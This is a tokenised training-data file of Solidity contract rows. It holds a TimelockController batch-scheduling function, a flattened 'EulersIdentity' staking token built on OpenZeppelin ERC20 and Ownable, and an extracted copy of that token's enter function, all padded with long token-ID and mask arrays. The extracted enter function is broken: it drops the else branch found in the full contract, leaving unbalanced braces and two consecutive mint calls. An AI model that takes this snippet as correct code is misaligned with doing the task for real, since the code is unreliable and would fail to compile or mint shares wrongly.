0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
5294,
395,
4727,
1488,
353,
24349,
288,
203,
202,
11890,
5034,
3238,
432,
8025,
273,
18106,
380,
404,
73,
25,
31,
203,
203,
202,
2575,
432,
8025,
5033,
12,
11890,
5034,
394,
2203,
54,
1769,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2643,
31,
203,
202,
12316,
1435,
288,
203,
202,
202,
67,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
1234,
18,
15330,
1769,
203,
202,
97,
203,
203,
202,
915,
444,
2203,
54,
12,
11890,
5034,
394,
2203,
54,
13,
3903,
1338,
2996,
12,
5280,
67,
15468,
67,
16256,
13,
288,
203,
202,
202,
6528,
12,
2704,
2203,
54,
1648,
1725,
380,
404,
73,
26,
16,
315,
438,
86,
1410,
506,
5242,
1508,
1725,
9,
8863,
203,
202,
202,
2203,
54,
273,
394,
2203,
54,
31,
203,
202,
202,
18356,
432,
8025,
5033,
12,
2704,
2203,
54,
1769,
203,
202,
97,
203,
203,
202,
915,
10755,
1283,
29281,
4727,
12,
203,
202,
202,
11890,
5034,
2078,
3088,
1283,
16,
203,
202,
202,
11890,
5034,
2078,
38,
15318,
203,
202,
13,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
202,
202,
430,
261,
4963,
38,
15318,
422,
374,
13,
288,
203,
1082,
202,
2463,
374,
31,
203,
1082,
202,
2463,
432,
8025,
31,
203,
202,
202,
97,
203,
202,
202,
2463,
14015,
4963,
38,
15318,
380,
432,
8025,
13,
342,
2078,
3088,
1283,
1769,
203,
202,
97,
203,
202,
915,
10755,
1283,
29281,
4727,
12,
203,
202,
202,
11890,
5034,
2078,
3088,
1283,
16,
203,
202,
202,
11890,
2
] |
./full_match/8453/0xfc8eedF50C3ACd86e00717A5B8B4bd6117e44325/sources/contracts/TimelockController.sol | * @dev Schedule an operation containing a batch of transactions. Emits one {CallScheduled} event per transaction in the batch. Requirements: - the caller must have the 'proposer' role./ | function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(
targets.length == values.length,
"TimelockController: length mismatch"
);
require(
targets.length == datas.length,
"TimelockController: length mismatch"
);
bytes32 id = hashOperationBatch(
targets,
values,
datas,
predecessor,
salt
);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(
id,
i,
targets[i],
values[i],
datas[i],
predecessor,
delay
);
}
}
| 11,560,236 | [
1,
6061,
392,
1674,
4191,
279,
2581,
434,
8938,
18,
7377,
1282,
1245,
288,
1477,
10660,
97,
871,
1534,
2492,
316,
326,
2581,
18,
29076,
30,
300,
326,
4894,
1297,
1240,
326,
296,
685,
5607,
11,
2478,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4788,
4497,
12,
203,
3639,
1758,
8526,
745,
892,
5774,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
924,
16,
203,
3639,
1731,
8526,
745,
892,
5386,
16,
203,
3639,
1731,
1578,
24282,
16,
203,
3639,
1731,
1578,
4286,
16,
203,
3639,
2254,
5034,
4624,
203,
565,
262,
1071,
5024,
1338,
2996,
12,
3373,
2419,
2123,
67,
16256,
13,
288,
203,
3639,
2583,
12,
203,
5411,
5774,
18,
2469,
422,
924,
18,
2469,
16,
203,
5411,
315,
10178,
292,
975,
2933,
30,
769,
13484,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
5774,
18,
2469,
422,
5386,
18,
2469,
16,
203,
5411,
315,
10178,
292,
975,
2933,
30,
769,
13484,
6,
203,
3639,
11272,
203,
203,
3639,
1731,
1578,
612,
273,
1651,
2988,
4497,
12,
203,
5411,
5774,
16,
203,
5411,
924,
16,
203,
5411,
5386,
16,
203,
5411,
24282,
16,
203,
5411,
4286,
203,
3639,
11272,
203,
3639,
389,
10676,
12,
350,
16,
4624,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
5774,
18,
2469,
31,
965,
77,
13,
288,
203,
5411,
3626,
3049,
10660,
12,
203,
7734,
612,
16,
203,
7734,
277,
16,
203,
7734,
5774,
63,
77,
6487,
203,
7734,
924,
63,
77,
6487,
203,
7734,
5386,
63,
77,
6487,
203,
7734,
24282,
16,
203,
7734,
4624,
203,
5411,
11272,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-10-07
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EulersIdentity is ERC20("Euler's Identity", "e^(iπ)+1=0"), Ownable {
using SafeMath for uint256;
IERC20 public euler;
// whether EulersIdentity is opened or not
bool public isOpen = true;
bool public isAllow = false;
// amount of blocks between each unlock
uint256 public blocksBetween = 26666;
// next period that EulersIdentity will remain opened
uint256[2] public openPeriod;
event Opened(address indexed who);
event Closed(address indexed who);
event Joined(address indexed who, uint256 amount);
event Left(address indexed who, uint256 amount);
constructor(uint256[2] memory _openPeriod, IERC20 _euler) public {
openPeriod = _openPeriod;
euler = _euler;
}
modifier validateEulersIdentity() {
require(isOpen, "eulersidentity closed");
_;
}
modifier validateAllow() {
require(isAllow, "not allowed");
_;
}
function pendingEuler() external view returns (uint256) {
uint256 totalShares = totalSupply();
if (totalShares == 0) {
return 0;
}
uint256 eswapShare = balanceOf(msg.sender);
uint256 what = eswapShare.mul(euler.balanceOf(address(this))).div(totalShares);
return what;
}
function openEulersIdentity() external validateAllow {
require(block.number > openPeriod[0] && block.number < openPeriod[1], "Not ready to open");
require(isOpen == false, "Already opened");
isOpen = true;
emit Opened(msg.sender);
}
function closeEulersIdentity() external validateAllow {
require(block.number > openPeriod[1], "Still in open period");
require( isOpen == true, "Already closed");
// adds amount of blocks until next opening (defined by governance)
openPeriod[0] = openPeriod[1] + blocksBetween;
// eulersidentity remains open for roughly 1 day
openPeriod[1] = openPeriod[0] + 6666;
isOpen = false;
emit Closed(msg.sender);
}
// allows governance to start or stop eulersidentity
function allow() public onlyOwner {
require( isAllow == false, "Already allowed");
isAllow = true;
}
function forbid() public onlyOwner {
require( isAllow == true, "Already forbidden");
isAllow = false;
}
function startEulersIdentity() public onlyOwner {
require( isOpen == false, "Already opened");
isOpen = true;
}
function stopEulersIdentity() public onlyOwner {
require( isOpen == true, "Already closed");
isOpen = false;
}
// allows governance to update openPeriod
function setOpenPeriod(uint256 _newStart, uint256 _newEnd) public onlyOwner {
openPeriod[0] = _newStart;
openPeriod[1] = _newEnd;
}
// allows governance to update blocksBetween
function setBlocksBetween(uint256 _newValue) public onlyOwner {
blocksBetween = _newValue;
}
// Opens the EulersIdentity and collects EULER
function enter(uint256 _amount) public validateEulersIdentity {
uint256 totalEuler = euler.balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || totalEuler == 0) {
_mint(msg.sender, _amount.div(1e3));
} else {
uint256 what = _amount.mul(totalShares).div(totalEuler);
_mint(msg.sender, what);
}
euler.transferFrom(msg.sender, address(this), _amount);
emit Joined(msg.sender, _amount);
}
// Leave the longue. Claim back your EULERs.
function leave(uint256 _share) public validateEulersIdentity {
uint256 totalShares = totalSupply();
uint256 what = _share.mul(euler.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, _share);
euler.transfer(msg.sender, what);
emit Left(msg.sender, what);
}
} | Opens the EulersIdentity and collects EULER | function enter(uint256 _amount) public validateEulersIdentity {
uint256 totalEuler = euler.balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || totalEuler == 0) {
_mint(msg.sender, _amount.div(1e3));
uint256 what = _amount.mul(totalShares).div(totalEuler);
_mint(msg.sender, what);
}
euler.transferFrom(msg.sender, address(this), _amount);
emit Joined(msg.sender, _amount);
}
| 2,329,060 | [
1,
17778,
326,
512,
332,
414,
4334,
471,
30976,
512,
1506,
654,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
